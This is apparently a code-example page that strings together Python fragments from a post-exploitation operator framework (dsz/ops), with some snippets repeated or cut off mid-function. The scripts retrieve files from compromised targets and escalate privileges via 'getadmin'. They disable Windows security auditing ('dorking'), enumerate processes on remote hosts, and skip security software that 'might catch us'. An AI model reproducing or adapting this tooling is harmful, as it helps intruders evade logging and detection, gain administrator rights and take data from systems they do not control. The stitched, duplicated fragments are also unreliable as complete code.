    usage = 'Usage: python windows\\vget.py -args "-F [Full Path to File] -p [path to file] -m [mask] Optional: -t [bytes] -hex -nosend"\n\nOptions:\n-t [bytes] : grab last x bytes of file (tail)\n-nosend : move file to nosend dir\n-hex : open file in hex editor\n\nEx. python windows\\vget.py -args "-m connections.log -p C:\\Documents and Settings\\user\\logs -t 10000 -nosend"\nEx. python windows\\vget.py -args "-F C:\\Documents and Settings\\user\\logs\\connections.log -t 10000 -nosend -hex"'
    parser = ArgumentParser(usage=usage)
    parser.add_argument('-p', dest='path', nargs='+', action='store', default=False)
    parser.add_argument('-m', dest='mask', action='store', default=False)
    parser.add_argument('-F', dest='full_path', nargs='+', action='store', default=False)
    parser.add_argument('-t', dest='tail', type=int, action='store', default=False)
    parser.add_argument('--nosend', dest='nosend', action='store_true', default=False)
    parser.add_argument('--hex', dest='hex', action='store_true', default=False)
    options = parser.parse_args()
    if (len(sys.argv) == 1):
        print usage
        sys.exit(0)
    if (options.full_path == options.mask == False):
        ops.warn('No mask or full path specified! Need one or the other to execute.')
        sys.exit(0)
    mask = options.mask
    tail = options.tail
    nosend = options.nosend
    hex = options.hex
    getCmd = ops.cmd.getDszCommand('get')
    if options.full_path:
        full_path = ' '.join(options.full_path)
        getCmd.arglist.append(('"%s"' % full_path))
    else:
        if options.path:
            path = ' '.join(options.path)
            getCmd.optdict['path'] = ('"%s"' % path)
        getCmd.optdict['mask'] = mask
    if tail:
        getCmd.arglist.append(('-tail %s' % tail))
    getCmd.dszquiet = False
    getCmd.execute()
    getResult = getCmd.result
    id = getResult.cmdid
    for n in getResult.filestop:
        if (n.successful != 1):
            ops.error(('Get Failed; see cmdid %s or above output for more info' % id))
            sys.exit(0)
    localName = ''
    for n in getResult.filelocalname:
        localName = n.localname
    fullLocalPath = os.path.join(dsz.env.Get('_LOGPATH'), 'GetFiles', localName)
    if (nosend == True):
        movePath = os.path.join(dsz.env.Get('_LOGPATH'), 'GetFiles\\NoSend', localName)
        moveCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c move %s %s"' % (fullLocalPath, movePath)))
        moveCmd.execute()
        fullLocalPath = movePath
        ops.info(('File moved to %s' % movePath))
    if (hex == False):
        ops.info('Opening file with notepad++')
        showCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c C:\\progra~1\\notepad++\\notepad++.exe %s"' % fullLocalPath))
    else:
        ops.info('Opening file with hex editor')
        showCmd = ops.cmd.getDszCommand(('local run -command "cmd.exe /c C:\\Progra~1\\BreakP~1\\HexWor~1.2\\hworks32.exe %s"' % fullLocalPath))
    showCmd.execute()
Exemplo n.º 28
0
def main():
    parser = OptionParser()
    parser.add_option(
        '--maxage',
        dest='maxage',
        default=ONE_DAY,
        help=
        'Maximum age of scheduler information to use before re-running query commands',
        type='int')
    (options, args) = parser.parse_args()
    ops.survey.print_header('USB survey info')
    keylist = [(
        'System\\CurrentControlSet\\Control\\DeviceClasses\\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}',
        'OPS_USB_RECENT_DEVICES_KEY', options.maxage, True),
               ('SYSTEM\\CurrentControlSet\\Enum\\USB', 'OPS_USB_USB_KEY',
                options.maxage, True),
               ('SYSTEM\\CurrentControlSet\\Enum\\USBSTOR',
                'OPS_USB_USBSTOR_KEY', options.maxage, True)]
    results = []
    for pair in keylist:
        try:
            result = ops.system.registry.get_registrykey(
                'L',
                pair[0],
                cache_tag=pair[1],
                cache_size=1,
                maxage=datetime.timedelta(seconds=pair[2]),
                dszquiet=True,
                dszlog=True,
                recursive=pair[3])
            try:
                if (result.dszobjage < datetime.timedelta(seconds=pair[2])):
                    ops.info(('%s data is only %s old, was not re-run' %
                              (pair[0], result.dszobjage)))
                else:
                    ops.info(('Got new data for %s' % pair[0]))
            except:
                pass
            results.append(result)
        except:
            ops.warn(('%s not found' % pair[0]))
    if (results[0].key[0].name ==
            'System\\CurrentControlSet\\Control\\DeviceClasses\\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}'
        ):
        ops.info('Showing recent USB devices')
        for v in results[0].key[0].subkey:
            print('[%s %s] %s' % (v.updatedate, v.updatetime, v.name))
Exemplo n.º 29
0
def main():
    flags = dsz.control.Method()
    dsz.control.echo.Off()
    if dsz.process.windows.IsSystem():
        ops.info('Current user: System')
        dsz.env.Set('OPS_ALREADYPRIV', 'TRUE')
        return None
    if dsz.process.windows.IsInAdminGroup():
        ops.info('Your process has Administrator rights.')
        dsz.env.Set('OPS_ALREADYPRIV', 'TRUE')
        return None
    dsz.env.Set('OPS_ALREADYPRIV', 'FALSE')
    ops.warn('You are not System and do not have Administrator privileges.')
    if (not dsz.ui.Prompt('Use JUMPUP to elevate?')):
        ops.warn('Did not elevate, probably for a good reason.')
    else:
        (success, id) = dsz.cmd.RunEx('getadmin')
        if success:
            ops.info(('Successfully elevated. Do not stop command ID %d or you will lose your blessing.' % id))
        else:
            ops.error(('Could not elevate! See log for command ID %d for more information.' % id))
            ops.error('Be sure you know what you can and cannot do.')
Exemplo n.º 30
0
def main():
    parser = OptionParser()
    parser.add_option('--maxage', dest='maxage', default=ONE_DAY, help='Maximum age of scheduler information to use before re-running query commands', type='int')
    (options, args) = parser.parse_args()
    ops.survey.print_header('USB survey info')
    keylist = [('System\\CurrentControlSet\\Control\\DeviceClasses\\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}', 'OPS_USB_RECENT_DEVICES_KEY', options.maxage, True), ('SYSTEM\\CurrentControlSet\\Enum\\USB', 'OPS_USB_USB_KEY', options.maxage, True), ('SYSTEM\\CurrentControlSet\\Enum\\USBSTOR', 'OPS_USB_USBSTOR_KEY', options.maxage, True)]
    results = []
    for pair in keylist:
        try:
            result = ops.system.registry.get_registrykey('L', pair[0], cache_tag=pair[1], cache_size=1, maxage=datetime.timedelta(seconds=pair[2]), dszquiet=True, dszlog=True, recursive=pair[3])
            try:
                if (result.dszobjage < datetime.timedelta(seconds=pair[2])):
                    ops.info(('%s data is only %s old, was not re-run' % (pair[0], result.dszobjage)))
                else:
                    ops.info(('Got new data for %s' % pair[0]))
            except:
                pass
            results.append(result)
        except:
            ops.warn(('%s not found' % pair[0]))
    if (results[0].key[0].name == 'System\\CurrentControlSet\\Control\\DeviceClasses\\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}'):
        ops.info('Showing recent USB devices')
        for v in results[0].key[0].subkey:
            print ('[%s %s] %s' % (v.updatedate, v.updatetime, v.name))
Exemplo n.º 31
0
 )
 parser.add_argument(
     '-x',
     '--norename',
     dest='rename',
     action='store_false',
     default=True,
     help=
     'Disables rename of the payload directory to <name>.sent after sending data.'
 )
 options = parser.parse_args()
 if (options.userID is None):
     options.userID = dsz.ui.GetString('Enter your user ID: ')
     ops.env.set('OPS_USERID', options.userID, addr='')
     if options.verbose:
         ops.info('User ID cached in LP environment OPS_USERID.')
 else:
     oldid = ops.env.get('OPS_USERID', addr='')
     ops.env.set('OPS_USERID', options.userID, addr='')
     if (oldid is None):
         ops.info('User ID cached in LP environment OPS_USERID.')
     elif (oldid != options.userID):
         ops.info('Updated cached user ID in LP environment OPS_USERID.')
 if options.oldPayDir:
     options.payDir = options.oldPayDir
 installers = (((ops.cmd.get_filtered_command_list(
     isrunning=True, goodwords=['pc_install']) +
                 ops.cmd.get_filtered_command_list(
                     isrunning=True, goodwords=['pc2.2_install'])) +
                ops.cmd.get_filtered_command_list(
                    isrunning=True, goodwords=['pc_upgrade'])) +
Exemplo n.º 32
0
dsz.ui.Echo('Re-registering global wrappers for current target')
dsz.ui.Echo(('-' * 50))
with open(os.path.join(dsz.lp.GetResourcesDirectory(), 'Ops', 'Data', 'wrappers.json'), 'r') as input:
    wrappers = json.load(input)
for wrapper in wrappers:
    dsz.cmd.Run(('wrappers -register %s -script %s -location current %s -project %s' % (wrapper['command'], wrapper['script'], ('-pre' if (('hook' not in wrapper.keys()) or (wrapper['hook'] == 'pre')) else '-post'), ('Ops' if ('project' not in wrapper.keys()) else wrapper['project']))))
    dsz.ui.Echo((wrapper['command'] if ('reason' not in wrapper.keys()) else ' - '.join([wrapper['command'], wrapper['reason']])))
dsz.ui.Echo(('-' * 50))
dsz.control.echo.On()
ops.project.getTargetID()
targ = ops.project.getTarget()
logpath = ops.env.get('_LOGPATH')
f = open(os.path.join(logpath, 'project.txt'), 'w')
f.write(targ.project.name)
f.close()
ops.info(('Target ID completed, ID %s (in project %s)' % (targ.target_id, targ.project.name)))
if ((targ.target_name is not None) and (targ.target_name != '')):
    ops.info(('Target name: %s' % targ.target_name))
actives = ops.project.getActiveCPAddresses(targ.target_id)
addrs = ops.project.getCPAddresses(targ.target_id)
if (len(actives) > 1):
    ops.warn('You are currently connected to this same target at the following CP addresses')
    for active in filter((lambda x: (x != dsz.script.Env['target_address'])), actives):
        print active
if (len(addrs) > 1):
    ops.warn('You have been on this target previously with the following CP addresses')
    for addr in filter((lambda x: (x != dsz.script.Env['target_address'])), addrs):
        print addr
print '===================================================================='
ops.info('Showing ifconfig data so you can make sure you are on the correct target')
ops.survey.ifconfig.main()
Exemplo n.º 33
0
def main():
    parser = OptionParser()
    parser.add_option('--status-only', dest='statusonly', action='store_true', default=False, help="Only show status, don't prompt about dorking")
    parser.add_option('--maxage', dest='maxage', default='3600', help='Maximum age of auditing status information to use before re-running audit -status', type='int')
    (options, args) = parser.parse_args()
    if options.statusonly:
        ops.survey.print_header('Auditing status check, dorking will be later')
    else:
        ops.survey.print_header('Auditing dorking')
    last_status = ops.security.auditing.get_status(datetime.timedelta.max)
    audit_status = ops.security.auditing.get_status(datetime.timedelta(seconds=options.maxage))
    ops.survey.print_agestring(audit_status.dszobjage)
    sysver = ops.system.systemversion.get_os_version(maxage=datetime.timedelta(seconds=86400))
    logged_events = []
    if (not audit_status.status.audit_mode):
        ops.info('Auditing is not enabled on this machine')
    else:
        ops.warn('Auditing is enabled on this machine')
        logged_events = filter((lambda x: (x.audit_event_success or x.audit_event_failure)), audit_status.status.event)
        if (len(logged_events) > 0):
            if (sysver.versioninfo.major > 5):
                pprint(logged_events, dictorder=['subcategory', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure'])
            else:
                pprint(logged_events, dictorder=['categorynative', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure'])
        else:
            ops.info('But nothing is being logged')
    if ops.security.auditing.is_dorked():
        target_addrs = ops.project.getCPAddresses()
        audit_cmds = ops.cmd.get_filtered_command_list(cpaddrs=target_addrs, isrunning=True, goodwords=['audit', '-disable'])
        cur_cmd = ops.data.getDszObject(cmdid=audit_cmds[0])
        ops.warn(('Auditing is already dorked on this system.  See command %d from session %s' % (cur_cmd.commandmetadata.id, cur_cmd.commandmetadata.destination)))
    if (last_status is not None):
        if (audit_status.status.audit_mode != last_status.status.audit_mode):
            ops.warn('Auditing status has changed on this target! Was %s, is now %s', (last_status.status.audit_mode, audit_status.status.audit_mode))
            stamp = last_status.cache_timestamp
            ops.warn(('Date of prior status info was: %d-%d-%d %d:%d' % (stamp.year, stamp.month, stamp.day, stamp.hour, stamp.minute)))
        changes = []
        for i in range(len(last_status.status.event)):
            levent = last_status.status.event[i]
            cevent = audit_status.status.event[i]
            if ((levent.audit_event_success != cevent.audit_event_success) or (levent.audit_event_failure != cevent.audit_event_failure)):
                changes.append(cevent)
        if (len(changes) > 0):
            ops.warn('Event auditing status has changed on this target!  See below for details')
            if (sysver.versioninfo.major > 5):
                pprint(changes, dictorder=['subcategory', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure'])
            else:
                pprint(changes, dictorder=['categorynative', 'audit_event_success', 'audit_event_failure'], header=['Category', 'Success', 'Failure'])
    if options.statusonly:
        ops.info('The above is only being shown for informational purposes, you will be prompted about dorking later')
        return
    if (audit_status.status.audit_mode and (not ops.security.auditing.is_dorked()) and (len(logged_events) > 0)):
        do_dork = dsz.ui.Prompt('Do you want to dork security auditing?', True)
        if do_dork:
            dork_success = False
            (results, messages) = ops.security.auditing.dork_auditing(dork_types=['security'])
            if (len(results) < 1):
                raise Exception('Failed to run the command to try to disable auditing')
            res = results[0]
            if (res.commandmetadata.isrunning == 1):
                ops.info(('Security auditing dorked, do not stop command %d or you will lose your blessing' % res.commandmetadata.id))
            else:
                ops.error(('Dorking failed, see command %d for the reason.' % res.commandmetadata.id))
                ops.warn('Note: Before attempting to say yes to the following question, you should see why the first one failed.\n\tIf it was "Pattern match of code failed", trying again won\'t help.')
                dork_all = dsz.ui.Prompt('Do you want to try dorking ALL auditing?', False)
                if dork_all:
                    (results, messages) = ops.security.auditing.dork_auditing(dork_types=['all'])
                    if (len(results) < 1):
                        raise Exception('Failed to run the command to try to disable auditing')
                    res = results[0]
                    if (res.commandmetadata.isrunning == 1):
                        ops.info(('ALL auditing dorked, do not stop command %d or you will lose your blessing' % res.commandmetadata.id))
                    else:
                        ops.error(('Dorking failed, see command %d for the reason' % res.commandmetadata.id))
    elif (not audit_status.status.audit_mode):
        ops.info('Auditing is already off, no need to dork')
    elif (len(logged_events) == 0):
        ops.info("Nothing is actually being audited, shouldn't need to dork")
    else:
        ops.info('Auditing is already dorked, not going to try a second time')
Exemplo n.º 34
0
 parser.add_option('-t', '--target', dest='target', default=None, help='IP address of target to query. If none specified, then commands are done in the current context.')
 parser.add_option('-e', '--wmi', '--emptykeg', dest='wmi', default=False, action='store_true', help='Remote: Use WMI (EMPTYKEG) method to query process information. Current: uses normal process listing API.')
 parser.add_option('-p', '--reg', '--pulist', dest='reg', default=False, action='store_true', help='Remote: Use the remote registry (pulist) method to query process information via the performance hive. Current: Directly queries the performahce hive.')
 (options, args) = parser.parse_args()
 if args:
     parser.print_help()
     parser.error('Not all arguments consumed by the beast.')
 if (not (options.wmi ^ options.reg)):
     parser.print_help()
     parser.error('One of --wmi or --reg must be specified so I know what to do.')
 if (options.target is None):
     if (not dsz.ui.Prompt('No target provided. Did you really mean to run this against localhost?', False)):
         sys.exit((-1))
 if ((options.target is not None) and options.target.startswith('\\\\')):
     options.target = options.target[2:]
     ops.info(("A \\\\ is not required. I assume you mean '%s' as your target IP." % options.target))
 if ((options.target is not None) and (not util.ip.validate(options.target))):
     ops.error(("Your target '%s' does not appear to be a proper IP address. Try again." % options.target))
     sys.exit((-1))
 if options.wmi:
     func = emkg_plist
 elif options.reg:
     func = pulist
 else:
     raise RuntimeError, "How'd you get here? You get a prize!"
 try:
     ret = func(options.target, dszquiet)
 except Exception as e:
     dszlogger = DSZPyLogger()
     log = dszlogger.getLogger(LOGFILE)
     log.error(traceback.format_exc())
Exemplo n.º 35
0
def main():
    parser = OptionParser()
    parser.add_option('--status-only',
                      dest='statusonly',
                      action='store_true',
                      default=False,
                      help="Only show status, don't prompt about dorking")
    parser.add_option(
        '--maxage',
        dest='maxage',
        default='3600',
        help=
        'Maximum age of auditing status information to use before re-running audit -status',
        type='int')
    (options, args) = parser.parse_args()
    if options.statusonly:
        ops.survey.print_header('Auditing status check, dorking will be later')
    else:
        ops.survey.print_header('Auditing dorking')
    last_status = ops.security.auditing.get_status(datetime.timedelta.max)
    audit_status = ops.security.auditing.get_status(
        datetime.timedelta(seconds=options.maxage))
    ops.survey.print_agestring(audit_status.dszobjage)
    sysver = ops.system.systemversion.get_os_version(maxage=datetime.timedelta(
        seconds=86400))
    logged_events = []
    if (not audit_status.status.audit_mode):
        ops.info('Auditing is not enabled on this machine')
    else:
        ops.warn('Auditing is enabled on this machine')
        logged_events = filter(
            (lambda x: (x.audit_event_success or x.audit_event_failure)),
            audit_status.status.event)
        if (len(logged_events) > 0):
            if (sysver.versioninfo.major > 5):
                pprint(logged_events,
                       dictorder=[
                           'subcategory', 'audit_event_success',
                           'audit_event_failure'
                       ],
                       header=['Category', 'Success', 'Failure'])
            else:
                pprint(logged_events,
                       dictorder=[
                           'categorynative', 'audit_event_success',
                           'audit_event_failure'
                       ],
                       header=['Category', 'Success', 'Failure'])
        else:
            ops.info('But nothing is being logged')
    if ops.security.auditing.is_dorked():
        target_addrs = ops.project.getCPAddresses()
        audit_cmds = ops.cmd.get_filtered_command_list(
            cpaddrs=target_addrs,
            isrunning=True,
            goodwords=['audit', '-disable'])
        cur_cmd = ops.data.getDszObject(cmdid=audit_cmds[0])
        ops.warn((
            'Auditing is already dorked on this system.  See command %d from session %s'
            %
            (cur_cmd.commandmetadata.id, cur_cmd.commandmetadata.destination)))
    if (last_status is not None):
        if (audit_status.status.audit_mode != last_status.status.audit_mode):
            ops.warn(
                'Auditing status has changed on this target! Was %s, is now %s',
                (last_status.status.audit_mode,
                 audit_status.status.audit_mode))
            stamp = last_status.cache_timestamp
            ops.warn(('Date of prior status info was: %d-%d-%d %d:%d' %
                      (stamp.year, stamp.month, stamp.day, stamp.hour,
                       stamp.minute)))
        changes = []
        for i in range(len(last_status.status.event)):
            levent = last_status.status.event[i]
            cevent = audit_status.status.event[i]
            if ((levent.audit_event_success != cevent.audit_event_success) or
                (levent.audit_event_failure != cevent.audit_event_failure)):
                changes.append(cevent)
        if (len(changes) > 0):
            ops.warn(
                'Event auditing status has changed on this target!  See below for details'
            )
            if (sysver.versioninfo.major > 5):
                pprint(changes,
                       dictorder=[
                           'subcategory', 'audit_event_success',
                           'audit_event_failure'
                       ],
                       header=['Category', 'Success', 'Failure'])
            else:
                pprint(changes,
                       dictorder=[
                           'categorynative', 'audit_event_success',
                           'audit_event_failure'
                       ],
                       header=['Category', 'Success', 'Failure'])
    if options.statusonly:
        ops.info(
            'The above is only being shown for informational purposes, you will be prompted about dorking later'
        )
        return
    if (audit_status.status.audit_mode
            and (not ops.security.auditing.is_dorked())
            and (len(logged_events) > 0)):
        do_dork = dsz.ui.Prompt('Do you want to dork security auditing?', True)
        if do_dork:
            dork_success = False
            (results, messages) = ops.security.auditing.dork_auditing(
                dork_types=['security'])
            if (len(results) < 1):
                raise Exception(
                    'Failed to run the command to try to disable auditing')
            res = results[0]
            if (res.commandmetadata.isrunning == 1):
                ops.info((
                    'Security auditing dorked, do not stop command %d or you will lose your blessing'
                    % res.commandmetadata.id))
            else:
                ops.error(('Dorking failed, see command %d for the reason.' %
                           res.commandmetadata.id))
                ops.warn(
                    'Note: Before attempting to say yes to the following question, you should see why the first one failed.\n\tIf it was "Pattern match of code failed", trying again won\'t help.'
                )
                dork_all = dsz.ui.Prompt(
                    'Do you want to try dorking ALL auditing?', False)
                if dork_all:
                    (results, messages) = ops.security.auditing.dork_auditing(
                        dork_types=['all'])
                    if (len(results) < 1):
                        raise Exception(
                            'Failed to run the command to try to disable auditing'
                        )
                    res = results[0]
                    if (res.commandmetadata.isrunning == 1):
                        ops.info((
                            'ALL auditing dorked, do not stop command %d or you will lose your blessing'
                            % res.commandmetadata.id))
                    else:
                        ops.error(
                            ('Dorking failed, see command %d for the reason' %
                             res.commandmetadata.id))
    elif (not audit_status.status.audit_mode):
        ops.info('Auditing is already off, no need to dork')
    elif (len(logged_events) == 0):
        ops.info("Nothing is actually being audited, shouldn't need to dork")
    else:
        ops.info('Auditing is already dorked, not going to try a second time')
Exemplo n.º 36
0
 if (not safe):
     ops.error('Command safety check failed!')
     ops.error(('Failure: %s' % safetymsg))
     if options.override:
         ops.warn('Someone chose to override this safety check, so this monitor will still be run.  I hope they knew what they were doing')
     else:
         sys.exit((-1))
 mondata = cmd.execute()
 voldb = ops.db.get_voldb()
 targetID = ops.project.getTargetID()
 if options.savetotarget:
     tdb = ops.db.get_tdb()
 if (mondata is not None):
     vol_cache_id = voldb.save_ops_object(mondata, tag=options.tag, targetID=targetID)
     if options.savetotarget:
         tdb_cache_id = tdb.save_ops_object(mondata, tag=options.tag)
     while mondata.commandmetadata.isrunning:
         try:
             dsz.Sleep((options.interval * 1000))
             mondata.update()
             voldb.save_ops_object(mondata, cache_id=vol_cache_id, tag=options.tag, targetID=targetID)
             if options.savetotarget:
                 tdb.save_ops_object(mondata, cache_id=tdb_cache_id, tag=options.tag)
         except KeyboardInterrupt:
             ops.error('User killed channel!')
             sys.exit((-1))
     mondata.update()
     voldb.save_ops_object(mondata, cache_id=vol_cache_id, tag=options.tag)
     tdb.save_ops_object(mondata, cache_id=tdb_cache_id, tag=options.tag)
     ops.info('Updated and saved')
Exemplo n.º 37
0
            (isgood, msg) = (True, '')
        if (not isgood):
            good = False
        if (msg != ''):
            msgparts.append(msg)
    return (good, msgparts)

def _usage():
    return 'Usage: \n\tsafetychecks.py <load|save|list>\n\tsafetychecks.py clear <name of plugin>\n\tsafetychecks.py <add|delete> <name of safety check>\n\n\tNote: name of safety check is not required for clear'
if ((__name__ == '__main__') or (__name__ == '__ops_survey_plugin__')):
    good = False
    if (len(sys.argv) == 2):
        action = sys.argv[1]
        if (action == 'load'):
            loadHandlers()
            ops.info('Loaded safety handlers from previous op(s)')
            good = True
        elif (action == 'save'):
            saveHandlers()
            ops.info('Saved safety handlers for future op(s)')
            good = True
        elif (action == 'list'):
            listSafetyHandlers()
            good = True
    elif (len(sys.argv) == 3):
        action = sys.argv[1]
        plugin = sys.argv[2]
        if (action == 'clear'):
            clearSafetyHandler(plugin)
            good = True
    elif (len(sys.argv) == 4):
Exemplo n.º 38
0
 if args:
     parser.print_help()
     parser.error('Not all arguments consumed by the beast.')
 if (not (options.wmi ^ options.reg)):
     parser.print_help()
     parser.error(
         'One of --wmi or --reg must be specified so I know what to do.')
 if (options.target is None):
     if (not dsz.ui.Prompt(
             'No target provided. Did you really mean to run this against localhost?',
             False)):
         sys.exit((-1))
 if ((options.target is not None) and options.target.startswith('\\\\')):
     options.target = options.target[2:]
     ops.info((
         "A \\\\ is not required. I assume you mean '%s' as your target IP."
         % options.target))
 if ((options.target is not None)
         and (not util.ip.validate(options.target))):
     ops.error((
         "Your target '%s' does not appear to be a proper IP address. Try again."
         % options.target))
     sys.exit((-1))
 if options.wmi:
     func = emkg_plist
 elif options.reg:
     func = pulist
 else:
     raise RuntimeError, "How'd you get here? You get a prize!"
 try:
     ret = func(options.target, dszquiet)
Exemplo n.º 39
0
def print_header(header):
    print()
    padding = (72 - (len(header) // 2))
    ops.info(((((('=' * (
        (padding - len(ops.targetdatetimestamp())) - 3)) + ' ') + header) +
               ' ') + ('=' * padding)))
Exemplo n.º 40
0
def pulist(ip, dszquiet=False):
    flags = dsz.control.Method()
    if dszquiet:
        dsz.control.quiet.On()
    dsz.control.echo.Off()
    cmd = ops.cmd.getDszCommand('performance',
                                dszuser=ops.cmd.CURRENT_USER,
                                data='Process',
                                bare=True,
                                target=(ip if (ip != '127.0.0.1') else None))
    ops.info(("Running '%s'..." % cmd))
    result = cmd.execute()
    if (not cmd.success):
        if (result.commandmetadata.status == 268435456):
            ops.error((
                'Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.'
                % result.cmdid))
            del flags
            return None
        elif (result.commandmetadata.status is None):
            dszlogger = DSZPyLogger()
            log = dszlogger.getLogger(LOGFILE)
            log.error(
                'Command did not execute, possibly the result of a malformed command line.'
            )
            ops.info(
                'A problem report has been automatically generated for this issue.',
                type=dsz.DEFAULT)
        else:
            ops.error((
                'Failed to query performance hive. Check your logs for command ID %d for more information.'
                % result.cmdid))
            del flags
            return None
    if (not result.performance.object):
        ops.error((
            'Query succeeded but returned no data. Check your logs for command ID %d and hope for enlightenment.'
            % result.cmdid))
    regex = re.compile('.+\\....$')
    table = []
    echo = []
    uptime = None
    for instance in result.performance.object[0].instance:
        if (regex.match(instance.name) is None):
            proc = (instance.name + '.exe')
        else:
            proc = instance.name
        for c in instance.counter:
            if (c.name == '784'):
                pid = int(c.value)
            elif (c.name == '1410'):
                ppid = int(c.value)
            elif (c.name == '684'):
                runtime = datetime.timedelta(microseconds=(
                    (result.performance.perfTime100nSec - int(c.value)) // 10))
        if (((pid == 0) and (ppid == 0) and (instance.name == 'Idle')) or
            (((pid == 4) or (pid == 8)) and (instance.name == 'System'))):
            [code, comment] = [
                dsz.DEFAULT,
                ('System Idle Counter' if
                 (instance.name == 'Idle') else 'System Kernel')
            ]
        elif ((pid == 0) and (ppid == 0) and (instance.name == '_Total')
              and (runtime == datetime.timedelta(microseconds=0))):
            continue
        else:
            [code, comment] = check_process(proc)
        table.append({
            'Process': instance.name,
            'PID': pid,
            'PPID': ppid,
            'Comment': comment,
            'Elapsed Time': runtime
        })
        echo.append(code)
    pprint(table,
           dictorder=['PID', 'PPID', 'Elapsed Time', 'Process', 'Comment'],
           echocodes=echo)
    del flags
    return result
def main(args):
    bad = []
    with open(BAD_PROCS) as input:
        for i in input:
            bad.append(i.strip().lower())
    pids = []
    dsz.control.echo.Off()
    cmd = 'processes -list'
    (succ, proccmdid) = dsz.cmd.RunEx(cmd, dsz.RUN_FLAG_RECORD)
    dsz.control.echo.On()
    procobject = None
    try:
        procobject = ops.data.getDszObject(cmdid=proccmdid, cmdname='processes')
    except:
        dsz.ui.Echo('There was an issue with the ops.data.getDszObject.', dsz.ERROR)
        return 0
    ourpid = dsz.env.Get('_PID')
    dsz.ui.Echo('===========================================', dsz.WARNING)
    dsz.ui.Echo(('= We are currently executing from PID %s =' % ourpid), dsz.WARNING)
    dsz.ui.Echo('===========================================', dsz.WARNING)
    proclist = []
    for process in procobject.initialprocesslistitem.processitem:
        if ((process.name == 'System') or (process.name == '') or (process.id == 0)):
            ops.info(('Skipping PID %s (%s)' % (process.id, process.name)))
            continue
        if (process.name.strip().lower() in bad):
            ops.warn(('Skipping PID %s (%s), something might catch us.' % (process.id, process.name)))
            continue
        proclist.append({'pid': process.id, 'name': process.name, 'path': process.path, 'user': process.user})
    for proc in proclist:
        dsz.control.echo.Off()
        cmd = ('processinfo -id %s' % proc['pid'])
        (succ, cmdid) = dsz.cmd.RunEx(cmd, dsz.RUN_FLAG_RECORD)
        dsz.control.echo.On()
        if (not succ):
            ops.error(('Could not query process info for PID %s (%s)' % (proc['pid'], proc['name'])))
        else:
            ops.info(('Got processinfo for PID %s (%s)' % (proc['pid'], proc['name'])))
        procinfoobj = None
        try:
            procinfoobj = ops.data.getDszObject(cmdid=cmdid, cmdname='processinfo')
        except:
            dsz.ui.Echo('There was an issue with the ops.data.getDszObject. Please try re-running the command with the same parameters.', dsz.ERROR)
            return 0
        modulelist = []
        zerolist = []
        for module in procinfoobj.processinfo.modules.module:
            outsiderange = False
            if (((module.baseaddress + module.imagesize) < module.entrypoint) or ((module.baseaddress > module.entrypoint) and (module.entrypoint != 0))):
                outsiderange = True
                dsz.ui.Echo(('\tFound module in %s which has an entrypoint outside the image' % proc['pid']), dsz.ERROR)
                dsz.ui.Echo(('\t\tName: %s' % module.modulename), dsz.ERROR)
                dsz.ui.Echo(('\t\tEntry Point: 0x%011x' % module.entrypoint), dsz.ERROR)
                dsz.ui.Echo(('\t\tImage Size: 0x%08x' % module.imagesize), dsz.ERROR)
                dsz.ui.Echo(('\t\tBase Address: 0x%011x' % module.baseaddress), dsz.ERROR)
                for checksum in module.checksum:
                    if (checksum.type is None):
                        continue
                    dsz.ui.Echo(('\t\t\t%s: %s' % (checksum.type, checksum.value)), dsz.ERROR)
            elif ((module.entrypoint == 0) and (not checkzeroentry(module))):
                outsiderange = True
                sha1 = None
                for checksum in module.checksum:
                    if (checksum.type is None):
                        continue
                    if (checksum.type == 'SHA1'):
                        sha1 = checksum.value
                zerolist.append({'base': ('0x%011x' % module.baseaddress), 'img': ('0x%08x' % module.imagesize), 'entry': ('0x%011x' % module.entrypoint), 'modulename': module.modulename, 'sha1': sha1})
            if (module.modulename == ''):
                entrypointoffset = None
                if (not outsiderange):
                    entrypointoffset = ('0x%08x' % (module.entrypoint - module.baseaddress))
                base = ('0x%011x' % module.baseaddress)
                imagesize = ('0x%08x' % module.imagesize)
                entrypoint = ('0x%011x' % module.entrypoint)
                modulelist.append({'base': base, 'img': imagesize, 'entry': entrypoint, 'modulename': module.modulename, 'entrypointoffset': entrypointoffset})
        if (len(zerolist) > 0):
            dsz.ui.Echo('=======================================================', dsz.WARNING)
            dsz.ui.Echo(('= Found modules with entrypoint of 0x00000000 in %s =' % proc['pid']), dsz.WARNING)
            dsz.ui.Echo('=======================================================', dsz.WARNING)
            zerolist.sort(key=(lambda x: x['modulename']))
            pprint(zerolist, ['Entry Point', 'Image Size', 'Base Address', 'Module Name', 'SHA1'], ['entry', 'img', 'base', 'modulename', 'sha1'])
        if (len(modulelist) > 0):
            if (int(proc['pid']) == int(ourpid)):
                dsz.ui.Echo('==========================================================', dsz.WARNING)
                dsz.ui.Echo(('= Found blank modules in %s, which matches our PID %s =' % (proc['pid'], ourpid)), dsz.WARNING)
                dsz.ui.Echo('==========================================================', dsz.WARNING)
            else:
                dsz.ui.Echo('=================================================================', dsz.ERROR)
                dsz.ui.Echo(('= Found blank modules in %s, which DOES NOT match our PID %s =' % (proc['pid'], ourpid)), dsz.ERROR)
                dsz.ui.Echo('=================================================================', dsz.ERROR)
            modulelist.sort(key=(lambda x: x['entry']))
            pprint(modulelist, ['Entry Point', 'Image Size', 'Base Address', 'Entry Point Offset'], ['entry', 'img', 'base', 'entrypointoffset'])
Exemplo n.º 42
0
def main(options=None, args=None):
    tdb = ops.db.get_tdb()
    if (options is None):
        maxage = datetime.timedelta(seconds=0)
    else:
        maxage = datetime.timedelta(seconds=options.maxage)
    last_ifconfig = ops.networking.ifconfig.get_ifconfig(maxage=datetime.timedelta.max)
    cur_ifconfig = ops.networking.ifconfig.get_ifconfig(maxage=maxage)
    iface_adds = list()
    iface_removes = list()
    iface_changes = list()
    for old_iface in filter((lambda x: (x.type.lower() not in ['local', 'tunnel encapsulation'])), last_ifconfig.interfaceitem):
        match_iface = filter((lambda x: (x.address == old_iface.address)), cur_ifconfig.interfaceitem)
        if (len(match_iface) == 0):
            iface_removes.append(old_iface)
        else:
